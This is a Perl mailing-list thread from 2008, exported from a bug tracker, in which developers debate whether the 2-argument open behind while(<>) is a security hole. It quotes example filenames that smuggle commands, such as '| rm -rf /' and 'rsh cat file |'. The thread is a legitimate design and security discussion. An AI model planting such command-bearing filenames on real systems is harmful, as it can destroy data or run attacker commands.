Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Fri, 25 Jul 2008 17:42:38 +0200
To: Ed Avis <eda [...] waniasset.com>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 2.1k
On Fri, Jul 25, 2008 at 03:05:30PM +0000, Ed Avis wrote: Show quoted text
> Tom Christiansen <tchrist <at> perl.com> writes: >
> >>I find it incredibly aggravating that my one-liners do the wrong thing > >>when they attempt to read my files <.st and >.st.
>
> >People who create files with aggravating names are aggravating people; > >just say no.
>
> >If it takes a syswide find to locate unpleasant filenames and send > >whingeing or abusive or threatening mail (interpretation rests on the > >receiver) about the inadvisability of files with whitespace or brackets, > >or question-marks or stars, (and for perl, also minuses, ampersands, > >equals, or pipes), then that's a local administration issue.
> > You seem to have in mind the comfortable Unix environment most of us remember > from university days (or elsewhere), when your local bearded sysadmin would ke > a watchful eye on the students and make sure that the local collection of > eclectic, flaky but nonetheless lovable administrative shell scripts kept > working smoothly. I am not saying that is a bad ideal at all. But it's not t > issue here. > > You can't run a system-wide check for 'unpleasant' filenames before every > invocation of your perl program. And although someone deliberately making a > file '| rm -rf /' is the example we all use (and a good enough example in its > own right to make this worth fixing, IMHO), in practice a successful attack to > get control of a computer often uses several stages. The first stage might be > to trick a slightly dopey CGI script into making a filename containing a '|' > character in its temporary directory - not a security hole in itself, right? a > then wait for an administrative Perl script run by root to 'while (<>)' in tha > directory. Or indeed the same CGI script might use the 'while (<>)' construct > which is surely just reading some files and should be safe, right?
Oh, come on. This is a solved problem. The answer is -T: $ perl -wTE 'while (<>) {print}' '> foo' Insecure dependency in open while running with -T switch at -e line 1. $ -T is recommended both for CGI programs, and programs running as root. Abigail
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's afeature
Date: Fri, 25 Jul 2008 17:56:01 +0200
To: Ed Avis <eda [...] waniasset.com>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 1.1k
On Fri, Jul 25, 2008 at 04:36:56PM +0100, Ed Avis wrote: Show quoted text
> Abigail asked: >
> >What does the current directory have to do with while (<>)?
> > Sorry, I was thinking of the common usage of > > % my_program * >
> >- Teach people not to use "funny" characters in the filenames lightly, > > since whatever one may or may not do to Perl, it *will* bite them > > if they treat them carelessly; after all, the set of of characters > > that are special to Perl are (with the exception of -) a subset of > > the characters that are special to most shells anyway.
> > I agree that using funny characters deliberately is not a good idea. However, >
If you are running "my_program *" as root in a directory where black hat people could have created files, you have a problem anyway. For instance, 'rm -i *' won't ask for each file whether it should be deleted or not if someone creates a file '-f' in said directory. The answer here is to teach people to not blindly assume their insecure environment is save. And Perl can help you there: it's called -T. Which not only prevents the "while (<>) {}" problem, but a host of other problems as well. Abigail
CC: <perl5-porters [...] perl.org>
Subject: RE: [perl #2783] Security of ARGV using 2-argument open - It's afeature
Date: Fri, 25 Jul 2008 17:06:00 +0100
To: "Abigail" <abigail [...] abigail.be>
From: "Ed Avis" <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 2.2k
Show quoted text
>Oh, come on. This is a solved problem. The answer is -T: > > $ perl -wTE 'while (<>) {print}' '> foo' > Insecure dependency in open while running with -T switch at -e line 1.
That deals with a lot of it, but the -T flag is not the default. By default if you write the innocuous-looking perl program use warnings; use strict; use 5.010; while (<>) { print } you will get a program with all the magical, dangerous behaviour discussed earlier in this thread. It would be better if safety were the default, with some special command line flag or 'use' to turn on the unsafe behaviour. To get some real-world data: if you pick the first page of results from <http://www.google.com/codesearch?as_q=while+\(%3C%3E&btnG=Search+Code&hl=en&as_lang=perl&as_license_restrict=i&as_license=&as_package=&as_filename=&as_case=>, which should be close to a random sample, you see that none of these programs uses the -T flag, nor does any of them document that it will do odd things if passed a filename that contains funny characters, and so is unsafe (in the general case) to use with shell wildcards. And why should they? They were just writing the normal perl code to read some files specified on the command line. I suppose that 'use warnings' could print out a warning on 'while (<>)' saying 'this construct is not safe unless you use -T', but that seems daft to me. Just make it safe to use, no ifs and no buts. Even with -T, the program will abort when the '>foo' filename is found, which is not great for something that's purportedly meant to just read some files. The issue is not that expert programmers should be able to turn on some particular flag or use some particular incantation to read files given on the command line in a safe way. The issue is that the simple, small, innocuous-looking code is dangerous. IMHO, the simple code 'while (<>)' should be safe for all uses, and the flags, bells and whistles can be added to turn on the magical, risky behaviour if wanted. -- Ed Avis <eda@waniasset.com> Show quoted text
______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email
______________________________________________________________________
CC: <perl5-porters [...] perl.org>
Subject: RE: [perl #2783] Security of ARGV using 2-argument open - It's afeature
Date: Fri, 25 Jul 2008 16:36:56 +0100
To: "Abigail" <abigail [...] abigail.be>
From: "Ed Avis" <eda [...] waniasset.com>
Abigail asked: Show quoted text
>What does the current directory have to do with while (<>)?
Sorry, I was thinking of the common usage of % my_program * Show quoted text
>- Teach people not to use "funny" characters in the filenames lightly, > since whatever one may or may not do to Perl, it *will* bite them > if they treat them carelessly; after all, the set of of characters > that are special to Perl are (with the exception of -) a subset of > the characters that are special to most shells anyway.
I agree that using funny characters deliberately is not a good idea. However, they do sometimes appear by accident, and they can be made to appear by anyone who has write access to the directory where 'my_program *' is run. If my_program uses 'while (<>)', then if 'my_program *' is run by root in a certain directory, you are effectively granting root command access to anyone who can create a file in that directory. Even in less drastic cases than the above (which is the worst case, but certainly not impossible) a similar bug can be used as part of a multi-step exploit; perhaps the web server has a bug that means an attacker can cause it to write a zero-length file in a certain logfile directory; then a log grepper script might get caught. Again this is just an example. Even if there are no security implications because only one person uses the computer and there are no external-facing daemons to be compromised, it is still a peculiar behaviour for the program to go off and try to run the command 'x' when the filename '>x' was given on its command line. No standard Unix utility does this: % grep hello '>x' grep: >x: No such file or directory although many standard Unix programs take an argument of '-' to mean read from standard input, which is not usually dangerous. -- Ed Avis <eda@waniasset.com> Show quoted text
______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email
______________________________________________________________________
CC: <perl5-porters [...] perl.org>
Subject: RE: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Fri, 25 Jul 2008 17:14:30 +0100
To: "Abigail" <abigail [...] abigail.be>
From: "Ed Avis" <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 1.4k
Abigail wrote: Show quoted text
>If you are running "my_program *" as root in a directory where >black hat people could have created files, you have a problem anyway. > >For instance, 'rm -i *' won't ask for each file whether it >should be deleted or not if someone creates a file '-f' in >said directory.
That is true. But I wouldn't expect 'grep *' to go off running random external programs. Not even if grep were implemented in perl. Show quoted text
>The answer here is to teach people to not blindly assume their >insecure environment is save.
That is a good thing to teach, and the first lesson would be 'do not use while (<>) unless you also use -T'. However that is not mentioned in any perl tutorial I know of. If you have a tool which is potentially dangerous, one alternative to giving this kind of warning is to provide beginners with a safer (if somewhat blunter) tool for everyday use. They can graduate to the more dangerous one when they are ready for it, and understand the risks. That's why I think that 'while (<>)' would better be the safe kind of 'read all the files', and the more dangerous kind should have a syntax that marks it as such and cautions you not to blindly assume it will be safe. -- Ed Avis <eda@waniasset.com> Show quoted text
______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email
______________________________________________________________________
CC: Abigail <abigail [...] abigail.be>, perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Fri, 25 Jul 2008 14:39:16 -0500
To: "Ed Avis" <eda [...] waniasset.com>
From: "David Nicol" <davidnicol [...] gmail.com>
Download (untitled) / with headers
text/plain 434b
On Fri, Jul 25, 2008 at 11:14 AM, Ed Avis <eda@waniasset.com> wrote: Show quoted text
> > That's why I think that 'while (<>)' would better be the safe kind of 'read all the files', and the more dangerous kind should have a syntax that marks it as such and cautions you not to blindly assume it will be safe.
perhaps, 'while(<<>>)' could be the current 2-arg semantics from 5.11 on, and while(<>) would do three-arg opens? -- Cheer up, sad person
CC: Ed Avis <eda [...] waniasset.com>, perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Fri, 25 Jul 2008 21:53:45 +0200
To: David Nicol <davidnicol [...] gmail.com>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 1.4k
On Fri, Jul 25, 2008 at 02:39:16PM -0500, David Nicol wrote: Show quoted text
> On Fri, Jul 25, 2008 at 11:14 AM, Ed Avis <eda@waniasset.com> wrote:
> > > > That's why I think that 'while (<>)' would better be the safe kind of 'read all the files', and the more dangerous kind should have a syntax that marks it as such and cautions you not to blindly assume it will be safe.
> > perhaps, 'while(<<>>)' could be the current 2-arg semantics from 5.11 > on, and while(<>) would do three-arg opens?
So, you are willing to break programs that currently use the fact <> is 2-arg open and work as intended in order that some dimwit that isn't using -T doesn't run into problems this morning, but this afternoon? The problem here Ed is painting here isn't 2-arg open; it's people not considering file names may have characters that are special. And if they won't get into trouble by <>, they'll get into problems by the shell. Or some other program. Or because they use 2-arg open in their programs. (You know, not all Perl tutorials rewrote themselves the moment 3-arg open became available. Nor did all Perl programs. Perhaps we should make it that using 2-arg is a compile time error. Of course, the people that Ed is going to save won't be saved until they upgrade their perl.) Now, the idea of having both '<>' and '<<>>', and have one of them do 2-arg open, and the other 3-arg open is interesting. But I'd prefer not to break existing programs, and would rather see 'while (<<>>)' do 3-arg open, while leaving while (<>) as is. Abigail
CC: David Nicol <davidnicol [...] gmail.com>, Ed Avis <eda [...] waniasset.com>, perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Fri, 25 Jul 2008 13:49:32 -0700
To: Abigail <abigail [...] abigail.be>
From: Glenn Linderman <perl [...] NevCal.com>
Download (untitled) / with headers
text/plain 2.3k
On approximately 7/25/2008 12:53 PM, came the following characters from the keyboard of Abigail: Show quoted text
> On Fri, Jul 25, 2008 at 02:39:16PM -0500, David Nicol wrote:
>> On Fri, Jul 25, 2008 at 11:14 AM, Ed Avis <eda@waniasset.com> wrote:
>>> That's why I think that 'while (<>)' would better be the safe kind of 'read all the files', and the more dangerous kind should have a syntax that marks it as such and cautions you not to blindly assume it will be safe.
>> perhaps, 'while(<<>>)' could be the current 2-arg semantics from 5.11 >> on, and while(<>) would do three-arg opens?
> > > So, you are willing to break programs that currently use the fact <> > is 2-arg open and work as intended in order that some dimwit that isn't > using -T doesn't run into problems this morning, but this afternoon?
One could speculate about "while(<>)" using 2-arg open if -T is set and 3-arg open otherwise, with "while(<<>>)" or "use magical while;" causing 2-arg open to be used even without -T. But to answer your question, yes. How else can we encourage the dimwits to continue using perl, after they get burned by stuff like this, if we don't improve the language? So open docs do say: Show quoted text
> One should conscientiously choose between the magic and 3-arguments form of open(): > > open IN, $ARGV[0]; > > will allow the user to specify an argument of the form "rsh cat file |", but will not work on a filename which happens to have a trailing space, while > > open IN, '<', $ARGV[0]; > > will have exactly the opposite restrictions.
But there is no warning of all that under control flow statements in perlsyn where while(<>) is discussed, nor in perlintro where while(<>) is discussed. I've long since learned not to use certain characters in filenames, and especially not at the beginning. I, myself, have had to agree to use Python for a current project, because Perl doesn't seem to have a Unicode-supporting, cross-platform, cross-platform-printing-capable GUI environment (the last point being the sticker). That's bad enough, having quite esoteric requirements, but for simple things to have such complex gotchas buried within is really bad. -- Glenn -- http://nevcal.com/ =========================== A protocol is complete when there is nothing left to remove. -- Stuart Cheshire, Apple Computer, regarding Zero Configuration Networking
CC: Abigail <abigail [...] abigail.be>, David Nicol <davidnicol [...] gmail.com>, Ed Avis <eda [...] waniasset.com>, perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Fri, 25 Jul 2008 17:13:45 -0400
To: Glenn Linderman <perl [...] NevCal.com>
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 1017b
Glenn Linderman wrote: Show quoted text
> One could speculate about "while(<>)" using 2-arg open if -T is set > and 3-arg open otherwise, with "while(<<>>)" or "use magical while;" > causing 2-arg open to be used even without -T. > > How else can we encourage the dimwits to continue using perl, after > they get burned by stuff like this, if we don't improve the language?
Responding to Glenn's although not specifically to him, but to all with this opinion: How many people have been "burned" by this "problem"? Is the new class of dimwits exceedingly more dimwitted than the previous? Why was this not a problem 10 years ago? I don't see the point. There is no value in restricting Perl's functionailty, so that some theoretical dimwit will have one less theoretical security hole in one theoretical scenario. Where is the proof that this "security problem" is causing problems, and why aren't these dimwits having their hands cut off to prevent them from programming? Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Fri, 25 Jul 2008 22:34:39 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 3.3k
Abigail <abigail <at> abigail.be> writes: Show quoted text
>>perhaps, 'while(<<>>)' could be the current 2-arg semantics from 5.11 >>on, and while(<>) would do three-arg opens?
> >So, you are willing to break programs that currently use the fact <> >is 2-arg open and work as intended
How many such programs are there? Is the behaviour really intended? Have a look at the first few hits on Google Code Search: not one of them mentions in its documentation that if passed a filename beginning with > it will overwrite some file rather than reading the file given. Yet surely this is just the sort of thing you would take care to mention in the documentation if you knew of it. This leads me to suspect that for the vast majority of cases, the magical behaviour is not what the author intended. To answer your question, yes, I do suggest breaking programs which were designed and documented to have magical behaviour depending on the filenames given (and which, at the moment, are unable to handle files that really do begin with > unless you resort to special tricks). I just don't think there are many of them. Show quoted text
>in order that some dimwit
I could agree with your characterization of 'dimwit' if this were some obscure feature of the language, marked clearly in the documentation as dangerous and for experts only. But here we are talking about while (<>), supposedly the simplest way to do line-based processing in perl. If someone is a dimwit for naively using while (<>) and accidentally writing a program that is tripped up by special characters in filenames, then I am a dimwit and so are thousands of other perl developers (again, see Google Code Search). Perl isn't a language for the elite. Easy things should be easy. Reading some files given on the command line - without introducing strange bugs or security holes depending on the characters contained in the filename - is one of those easy things. Show quoted text
>The problem here Ed is painting here isn't 2-arg open; it's people not >considering file names may have characters that are special. And if they >won't get into trouble by <>, they'll get into problems by the shell.
Not so much: modern shells handle cases like 'ls *' or 'for i in *' without trouble. I suppose it should be 'ls -- *'. Gotchas like this are one of the advantages perl claims over shell scripting: that it is safer because it relies less on string interpolation. Show quoted text
>Or some other program.
I don't think any other program not written in perl or shell script is likely to have the same problem. I would be interested to know of examples. Show quoted text
>Or because they use 2-arg open in their programs.
With 2-arg open you can see that string interpolation is happening. To me, that sets off alarm bells so I know to be careful and validate the filename first (in the rare cases where I still use 2-arg open). Someone further up the dimwit scale than me might use 2-arg without thinking, but at least tutorial material has been updated to recommend the safe form and the safe form is not a lot more difficult to type. Show quoted text
>Now, the idea of having both '<>' and '<<>>', and have one of them do 2-arg >open, and the other 3-arg open is interesting. But I'd prefer not to break >existing programs, and would rather see 'while (<<>>)' do 3-arg open, while >leaving while (<>) as is.
That would be okay, though I still prefer that the simplest code be the safest. -- Ed Avis <eda@waniasset.com>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Fri, 25 Jul 2008 23:45:40 +0100
To: perl5-porters [...] perl.org
From: Zefram <zefram [...] fysh.org>
Download (untitled) / with headers
text/plain 1.4k
Mark Mielke wrote: Show quoted text
>How many people have been "burned" by this "problem"?
I don't get burned by it: this kind of issue is why I avoid using such DWIMish heuristic features. I only use <> in throwaway programs that I'm using on known inputs, and if I want to read arbitrary files then I use three-argument open or equivalent. It's a pity that such a short operator isn't available to do something of wider utility. Same issues apply with several regexp features, such as /$/ (funny treatment of newline at end of string) and /\s/ (utf8 flag dependence). I see people get burned by the unexpectedly complex behaviour of these operators all the time. I use the more verbose, more explicit, non-obvious constructions that actually do what I mean. I don't hugely object to the extra typing, but I wish that the operators with plainer semantics were shorter and more accessible so that less nitpicky programmers would use them by default. Show quoted text
>I don't see the point. There is no value in restricting Perl's >functionailty,
I don't think anyone's arguing for the functionality to not be there. Just give it a longer name, that indicates that there's more going on than meets the eye. If we were starting from scratch, I'd say that a plain honest-to-Ritchie file access should be called "open", and the one that can run commands, expand shell variables, hack root, and whatnot should be called "magic_open". See, nice descriptive names, with added Huffman value. -zefram
CC: Abigail <abigail [...] abigail.be>, David Nicol <davidnicol [...] gmail.com>, Ed Avis <eda [...] waniasset.com>, perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Fri, 25 Jul 2008 22:44:30 -0700
To: Mark Mielke <mark [...] mark.mielke.cc>
From: Glenn Linderman <perl [...] NevCal.com>
Download (untitled) / with headers
text/plain 2.6k
On approximately 7/25/2008 2:13 PM, came the following characters from the keyboard of Mark Mielke: Show quoted text
> Glenn Linderman wrote:
>> One could speculate about "while(<>)" using 2-arg open if -T is set >> and 3-arg open otherwise, with "while(<<>>)" or "use magical while;" >> causing 2-arg open to be used even without -T. >> >> How else can we encourage the dimwits to continue using perl, after >> they get burned by stuff like this, if we don't improve the language?
> > Responding to Glenn's although not specifically to him, but to all with > this opinion: > > How many people have been "burned" by this "problem"? Is the new class > of dimwits exceedingly more dimwitted than the previous? Why was this > not a problem 10 years ago?
I probably shouldn't have used the word "dimwit", but... it seemed like the argument for not breaking while(<>) is very much "elitist"... the "I'm smart enough not to get trapped, so why aren't you?". So to try to talk to that class of people, I used the term. But yes, the new class of dimwits (I might as well keep using the term, since I've started) are more dimwitted than the previous class, because they were raised on Windows, instead of Unix. In Unix class, shell script handling of special characters, and the "rm *" with the file named -f to kill you, and the file name -i to protect you, were regularly taught to newbies. In Windows, no one teaches you anything, you get to learn by the seat of your pants. If you take classes, someone might think to mention stuff like that, but if you read documentation, particularly our Perl documentation, it is easy to overlook such an "esoteric" topic, even if it is noticed, because really, they are looking for how to open files, not how to learn defensive programming. Show quoted text
> I don't see the point. There is no value in restricting Perl's > functionailty, so that some theoretical dimwit will have one less > theoretical security hole in one theoretical scenario. Where is the > proof that this "security problem" is causing problems, and why aren't > these dimwits having their hands cut off to prevent them from programming?
Nope, not suggesting restricting it, just making easy things safer, and unsafe things harder. Fortunately, a large majority of dimwits put spaces in their filenames, and have enough problems with that, that they never think to put in > < | and other line noise. I think it is purely that that has kept the problem from getting out of hand. Show quoted text
> Cheers, > mark
-- Glenn -- http://nevcal.com/ =========================== A protocol is complete when there is nothing left to remove. -- Stuart Cheshire, Apple Computer, regarding Zero Configuration Networking
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 07:42:30 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 648b
Zefram <zefram <at> fysh.org> writes: [magic behaviour of <> depending on filenames given] Show quoted text
>I don't get burned by it: this kind of issue is why I avoid using such >DWIMish heuristic features.
Choking when you run 'my_program *' and a file called <x happens to exist is hardly DWIM. Surely when you write while (<>) what you mean is 'read the files given on the command line'. Which perl doesn't manage, at the moment :-(. Show quoted text
>I don't think anyone's arguing for the functionality to not be there. >Just give it a longer name, that indicates that there's more going >on than meets the eye.
That's absolutely it. -- Ed Avis <eda@waniasset.com>
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 04:01:43 -0400
To: Ed Avis <eda [...] waniasset.com>
From: Mark Mielke <mark [...] mark.mielke.cc>
Ed Avis wrote: Show quoted text
> How many such programs are there? Is the behaviour really intended? > > Have a look at the first few hits on Google Code Search: not one of them > mentions in its documentation that if passed a filename beginning with > it will > overwrite some file rather than reading the file given. Yet surely this is just > the sort of thing you would take care to mention in the documentation if you > knew of it. This leads me to suspect that for the vast majority of cases, the > magical behaviour is not what the author intended. >
Where you are mistaken is in the assumption that regular users would use special characters like ">" or "|", or that if they did, they would actually be quoted properly to indicate literal characters as their intent. Remember - the shell ALREADY treats these as special. Anybody who "accidentally" used these in a file name would have to be especially ill informed. Do you have a real-life scenario where a problem has occurred or are you making a mountain of a mole hill? Cheers, mark -- Mark Mielke <mark@mielke.cc>
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 04:04:44 -0400
To: Ed Avis <eda [...] waniasset.com>
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 1.1k
Ed Avis wrote: Show quoted text
> Choking when you run 'my_program *' and a file called <x happens to exist is > hardly DWIM. Surely when you write while (<>) what you mean is 'read the files > given on the command line'. Which perl doesn't manage, at the moment :-(. >
What legitimate scenarios use files with names "<x"? Show quoted text
>> I don't think anyone's arguing for the functionality to not be there. >> Just give it a longer name, that indicates that there's more going >> on than meets the eye. >>
> > That's absolutely it. >
I strongly disagree. You are turning an existing feature with existing syntax into a non-feature, because you think there MIGHT be a theoretical somebody incompetent enough to hang themselves with a bit of rope. You assumption is that with Perl blocking this supposed security hole, that this theoretical somebody incompetent will then be safe. I think you are completely wrong. This theoretical somebody incompetent has so many ways that they can screw up. If any company hires such an incompetent person to write their security software, they deserve what they get. Cheers, mark -- Mark Mielke <mark@mielke.cc>
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 04:07:48 -0400
To: Zefram <zefram [...] fysh.org>
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 1.9k
Zefram wrote: Show quoted text
> Mark Mielke wrote: >
>> How many people have been "burned" by this "problem"? >>
> > I don't get burned by it: this kind of issue is why I avoid using such > DWIMish heuristic features. I only use <> in throwaway programs that > I'm using on known inputs, and if I want to read arbitrary files then > I use three-argument open or equivalent. It's a pity that such a short > operator isn't available to do something of wider utility. > > Same issues apply with several regexp features, such as /$/ (funny > treatment of newline at end of string) and /\s/ (utf8 flag dependence). > I see people get burned by the unexpectedly complex behaviour of > these operators all the time. I use the more verbose, more explicit, > non-obvious constructions that actually do what I mean. I don't hugely > object to the extra typing, but I wish that the operators with plainer > semantics were shorter and more accessible so that less nitpicky > programmers would use them by default. >
I don't understand. What is /$/ reasonably supposed to do? Do these theoretical people really get burned? Please point out a real-life program that uses /$/ that isn't mere theory. Show quoted text
>> I don't see the point. There is no value in restricting Perl's >> functionailty, >>
> > I don't think anyone's arguing for the functionality to not be there. > Just give it a longer name, that indicates that there's more going > on than meets the eye. If we were starting from scratch, I'd say > that a plain honest-to-Ritchie file access should be called "open", > and the one that can run commands, expand shell variables, hack root, > and whatnot should be called "magic_open". See, nice descriptive names, > with added Huffman value
Plain honest-to-Ritchie file access is obsolete. I want to see http:// automatically parsed. We're decades past the requirements you are raising, and in the last decade that open(2 args) has existed, I don't recall a single problem such as you describe. Cheers, mark -- Mark Mielke <mark@mielke.cc>
CC: Abigail <abigail [...] abigail.be>, David Nicol <davidnicol [...] gmail.com>, Ed Avis <eda [...] waniasset.com>, perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 04:10:49 -0400
To: Glenn Linderman <perl [...] NevCal.com>
From: Mark Mielke <mark [...] mark.mielke.cc>
Glenn Linderman wrote: Show quoted text
> On approximately 7/25/2008 2:13 PM, came the following characters from > the keyboard of Mark Mielke:
>> Glenn Linderman wrote:
>>> One could speculate about "while(<>)" using 2-arg open if -T is set >>> and 3-arg open otherwise, with "while(<<>>)" or "use magical while;" >>> causing 2-arg open to be used even without -T. >>> >>> How else can we encourage the dimwits to continue using perl, after >>> they get burned by stuff like this, if we don't improve the language?
>> >> Responding to Glenn's although not specifically to him, but to all >> with this opinion: >> >> How many people have been "burned" by this "problem"? Is the new >> class of dimwits exceedingly more dimwitted than the previous? Why >> was this not a problem 10 years ago?
> > I probably shouldn't have used the word "dimwit", but... it seemed > like the argument for not breaking while(<>) is very much "elitist"... > the "I'm smart enough not to get trapped, so why aren't you?". So to > try to talk to that class of people, I used the term.
Forget what term you used. Do you have an ACTUAL CASE of failure, or is this only theory? Show quoted text
> But yes, the new class of dimwits (I might as well keep using the > term, since I've started) are more dimwitted than the previous class, > because they were raised on Windows, instead of Unix. In Unix class, > shell script handling of special characters, and the "rm *" with the > file named -f to kill you, and the file name -i to protect you, were > regularly taught to newbies. In Windows, no one teaches you anything, > you get to learn by the seat of your pants. If you take classes, > someone might think to mention stuff like that, but if you read > documentation, particularly our Perl documentation, it is easy to > overlook such an "esoteric" topic, even if it is noticed, because > really, they are looking for how to open files, not how to learn > defensive programming.
I disagree. Windows and UNIX have been around for about as long as Perl 5. Again, do you have an ACTUAL CASE of failure, or is this only theory? Show quoted text
>> I don't see the point. There is no value in restricting Perl's >> functionailty, so that some theoretical dimwit will have one less >> theoretical security hole in one theoretical scenario. Where is the >> proof that this "security problem" is causing problems, and why >> aren't these dimwits having their hands cut off to prevent them from >> programming?
> > Nope, not suggesting restricting it, just making easy things safer, > and unsafe things harder.
Things could be made "safe" by chmod ugo-x /usr/bin/perl. You are not answering the question. What is the proof that this "security problem" is causing problems? Where is this outbreak you are trying to prevent? Show quoted text
> > Fortunately, a large majority of dimwits put spaces in their > filenames, and have enough problems with that, that they never think > to put in > < | and other line noise. I think it is purely that that > has kept the problem from getting out of hand.
More guessing. Do you have any evidence? Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 08:59:59 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 2.1k
Mark Mielke <mark <at> mark.mielke.cc> writes: Show quoted text
>What legitimate scenarios use files with names "<x"?
Very few. But if such a filename does exist, you'd want the program to handle it in a sane way. Unfortunately the world is not always legitimate. Every program using while (<>) has to come with a health warning that it is unsafe to use unless you know that no ><| characters are contained in the filenames. Remember gets() in the standard C library? What's the problem with it? No legitimate use would ever enter a million characters of text when given a prompt to enter 'yes' or 'no'. And if users are so stupid as to enter too much text and overflow the fixed buffer, that is a problem with the users and they should be educated to take more care. Yet today, gets() is deprecated and nobody uses it - whether writing 'security code' or not. It is just too dangerous. Show quoted text
>I strongly disagree. You are turning an existing feature with existing >syntax into a non-feature, because you think there MIGHT be a >theoretical somebody incompetent enough to hang themselves with a bit of >rope.
First I would like to say that this is best not treated as a moral issue. Those bad programmers, deserve what they get, we should teach them a lesson, etc. If the measure of incompetence is using 'while (<>)' in a program without realizing that it is dangerous, then I have been incompetent many times and so have lots of others. Again, have a look at the examples you can find on Google Code Search. All of these people have been incompetent and written programs that are unsafe to use on arbitrary lists of files. All the programs either need to be patched to use a safe form of open, or else need to mention the gotcha in their documentation. The bar for incompetence or being a dimwit is set remarkably low IMHO. Surely you should not need to be one of the expert 10% (or even the top 90%) to read some files and count the number of lines. Yet I bet that if you get a sample of perl programmers and ask them to implement a simple 'wc -l' in perl, more than nine out of ten will write one that breaks if given a filename beginning with >, and most of those without even thinking there might be a problem. -- Ed Avis <eda@waniasset.com>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 12:03:14 +0100
To: perl5-porters [...] perl.org
From: Zefram <zefram [...] fysh.org>
Download (untitled) / with headers
text/plain 2.6k
Mark Mielke wrote: Show quoted text
>I don't understand. What is /$/ reasonably supposed to do?
It is very frequently used in an attempt to anchor to the end of the string. Such as die "invalid keyword" unless $keyword =~ /^(foo|bar|baz)$/; In this context the programmer usually doesn't intend to accept "foo\n". Newline is a shell metacharacter, of course, and often significant in file formats, so there's lots of scope for breakage. Show quoted text
> Please point out a real-life >program that uses /$/ that isn't mere theory.
I presume you mean a real-life program that misbehaves due to misuse of /$/. On a quick look through /usr/local/share/perl, I found this in Carp::Clan: :unless ( /^-?\d+(?:\.\d+(?:[eE][+-]\d+)?)?$/ : ) # Looks numeric :{ : s/([\\\'])/\\$1/g; # Escape \ and ' ... This is used when displaying function arguments in a stack trace: it's trying to show numeric values as unquoted numbers and any other defined value as a quoted string. So these are how it's meant to work: $ perl -MCarp::Clan=confess -we 'sub foo { confess "a" } foo("abc")' Carp::Clan::__ANON__(): a at -e line 1 main::foo('abc') called at -e line 1 $ perl -MCarp::Clan=confess -we 'sub foo { confess "a" } foo("abc\n")' Carp::Clan::__ANON__(): a at -e line 1 main::foo('abc\x0A') called at -e line 1 $ perl -MCarp::Clan=confess -we 'sub foo { confess "a" } foo("123")' Carp::Clan::__ANON__(): a at -e line 1 main::foo(123) called at -e line 1 $ And this one goes wrong: $ perl -MCarp::Clan=confess -we 'sub foo { confess "a" } foo("123\n")' Carp::Clan::__ANON__(): a at -e line 1 main::foo(123 ) called at -e line 1 $ OK, this one's not likely to produce a security hole, but it's just the first instance I set eyes on. It's a very common antipattern. Show quoted text
>Plain honest-to-Ritchie file access is obsolete.
I respectfully disagree. I find the Unix filesystem is an excellent abstraction, and I use it all the time. Show quoted text
> I want to see http:// >automatically parsed.
It's possible to map URIs into Unix filename space. (I had a go at this myself for Linux a while back, but didn't develop it very far.) It's also possible to map Unix filenames into URI space. If you want access to both HTTP and local files in one context, you can still get this with pure file operations or with pure URI operations, at your option. If you insist on mixed parsing, then you're a long way from providing a filename context, and you have to document the rules in order for users to be able to make intentional use of the features. Show quoted text
> We're decades past the requirements you are >raising,
The requirement to not surprise the user? -zefram
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: 26 Jul 2008 16:56:25 +0200
To: perl5-porters [...] perl.org
From: Johan Vromans <jvromans [...] squirrel.nl>
Download (untitled) / with headers
text/plain 500b
Mark Mielke <mark@mark.mielke.cc> writes: Show quoted text
> Why was this not a problem 10 years ago?
